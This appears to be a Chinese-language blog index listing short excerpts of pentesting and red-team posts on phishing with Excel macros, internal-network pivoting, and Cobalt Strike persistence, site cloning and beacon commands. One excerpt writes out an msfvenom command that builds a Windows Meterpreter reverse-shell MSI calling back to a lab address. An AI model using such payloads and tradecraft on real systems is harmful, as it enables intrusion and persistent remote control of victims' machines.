Broken-year
钓鱼攻击 钓鱼攻击
钓鱼攻击Excel宏钓鱼 在kali里生成一个木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.134 lport=4444 -f msi -o hack.msi
2022-03-18
多层连接 多层连接
多层连接 hack(192.168.3.134)—(192.168.3.133)server1(172.16.1.101)—(172.16.1.102)server2 多层正向连接 生成一个新的tcp监听器 生成一个exe文件,把
2022-03-17
cs-权限维持 cs-权限维持
cs-权限维持 权限维持(windows) 可以使用注册表或者启动项,计划任务,服务,shift,放大镜功能,各种劫持或者利用各种安装的软件 实例 Attacks->Packages->Windows Executable (
2022-03-16
cs自动克隆网站 cs自动克隆网站
Clonesite自动克隆网站内容 Attacks->HTML Application 会生成一个elil.html文件 保存下来,然后打开Attacks->Web Drive-by->Host File 点击
2022-03-16
cs-aggresor脚本使用 cs-aggresor脚本使用
Aggresor脚本 .cna后缀的 -Aggressor Script Sleep语言 在View->Script Console $ = 变量 @ = 数组 % = 字典 演示 在/root目录下新建一个文件1.c
2022-03-15
cs-部分模块使用 cs-部分模块使用
CS常用命令help 帮助 sleep 修改睡眠时间 getsystem 尝试获取system权限 getuid 查看当前登录用户 getprivs
2022-03-15
cs-beacon cs-beacon
Beacon功能Beacon CommandsCommand Description ------- ----------- browserpivot
2022-03-14
cs-mode cs-mode
CS模块介绍Cobalt StrikeNew Connection打开新的Connect窗口 Preferences首选项 Visualization将主机以不同权限展示出来 Pivot GraphSession TableTarget T
2022-03-14
内网渗透随笔之cs 内网渗透随笔之cs
Cobalt Strike基本使用一、启动首先解压,里面有两个重要的文件 一个teamserver一个cobalstrike 不能用java直接打开,要通过启动器打开 添加执行权限在文件夹内启动终端,然后输入 chmod 777 ./*
2022-03-14
4 / 4